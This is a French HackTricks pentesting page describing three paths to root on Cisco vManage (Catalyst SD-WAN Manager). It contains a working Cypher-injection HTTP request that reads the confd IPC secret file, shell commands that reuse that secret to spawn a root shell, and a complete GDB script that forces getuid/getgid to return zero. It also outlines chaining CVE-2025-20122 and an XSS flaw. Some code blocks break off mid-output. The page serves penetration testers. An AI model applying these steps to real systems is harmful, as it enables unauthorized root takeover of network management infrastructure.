Cisco - vmanage
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Chemin 1
(Exemple tiré de https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Après avoir fouillé un peu dans la documentation relative à confd et aux différents binaires (accessibles avec un compte sur le site Cisco), nous avons trouvé que pour authentifier le socket IPC, il utilise un secret situé dans /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Vous vous souvenez de notre instance Neo4j ? Elle s’exécute avec les privilèges de l’utilisateur vmanage, ce qui nous permet de récupérer le fichier en utilisant la vulnérabilité précédente :
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Le programme confd_cli ne prend pas d’arguments en ligne de commande mais appelle /usr/bin/confd_cli_user avec des arguments. Nous pourrions donc appeler directement /usr/bin/confd_cli_user avec notre propre jeu d’arguments. Cependant, il n’est pas lisible avec nos privilèges actuels, il faut donc le récupérer depuis le rootfs et le copier avec scp, lire l’aide, et l’utiliser pour obtenir le shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Chemin 2
Le blog¹ de l’équipe synacktiv décrivait une façon élégante d’obtenir un root shell, mais le problème est qu’elle nécessite d’obtenir une copie de /usr/bin/confd_cli_user qui n’est lisible que par root. J’ai trouvé une autre façon d’escalate to root sans cette contrainte.
Lorsque j’ai désassemblé le binaire /usr/bin/confd_cli, j’ai observé ce qui suit :
Objdump montrant la collecte des UID/GID
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Quand j’exécute “ps aux”, j’ai observé ce qui suit (remarque -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
J’ai émis l’hypothèse que le programme “confd_cli” transmet l’UID et le GID qu’il a récupérés de l’utilisateur connecté à l’application “cmdptywrapper”.
Ma première tentative a été d’exécuter directement “cmdptywrapper” en lui passant -g 0 -u 0, mais cela a échoué. Il semble qu’un descripteur de fichier (-i 1015) soit créé quelque part en cours de route et que je ne puisse pas le falsifier.
Comme mentionné dans le blog de synacktiv (dernier exemple), le programme confd_cli ne supporte pas les arguments en ligne de commande, mais je peux l’influencer avec un debugger et, heureusement, GDB est installé sur le système.
J’ai créé un script GDB où je force les API getuid et getgid à retourner 0. Étant donné que j’ai déjà le privilège “vmanage” via la deserialization RCE, j’ai la permission de lire directement /etc/confd/confd_ipc_secret.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Sortie de la console :
Sortie de la console
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterChemin 3 (bogue de validation d’entrée CLI 2025)
Cisco a renommé vManage en Catalyst SD-WAN Manager, mais le CLI sous-jacent s’exécute toujours sur la même machine. Un avis de 2025 (CVE-2025-20122) décrit une validation d’entrée insuffisante dans le CLI qui permet à tout utilisateur local authentifié d’obtenir les privilèges root en envoyant une requête spécialement forgée au service CLI du manager. Combinez n’importe quelle prise de pied en low-priv (p. ex., la désérialisation Neo4j de Chemin 1, ou un shell utilisateur cron/backup) avec cette faille pour escalader en root sans copier confd_cli_user ni attacher GDB :
- Utilisez votre shell low-priv pour localiser le endpoint IPC du CLI (typiquement le listener
cmdptywrapperaffiché sur le port 4565 dans Chemin 2). - Créez une requête CLI qui falsifie les champs UID/GID à 0. Le bug de validation n’impose pas l’UID de l’appelant original, donc le wrapper lance un PTY exécuté en root.
- Pipez n’importe quelle séquence de commandes (
vshell; id) via la requête falsifiée pour obtenir un shell root.
La surface d’exploitation est locale uniquement ; une exécution de code à distance est toujours requise pour obtenir le shell initial, mais une fois dans la machine, l’exploitation se réduit à un seul message IPC plutôt qu’à un patch d’UID via un debugger.
Autres vulnérabilités récentes de vManage/Catalyst SD-WAN Manager à enchaîner
- Authenticated UI XSS (CVE-2024-20475) – Injectez du JavaScript dans des champs d’interface spécifiques ; voler une session admin vous donne un chemin piloté par le navigateur vers
vshell→ shell local → Chemin 3 pour root.
Références
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


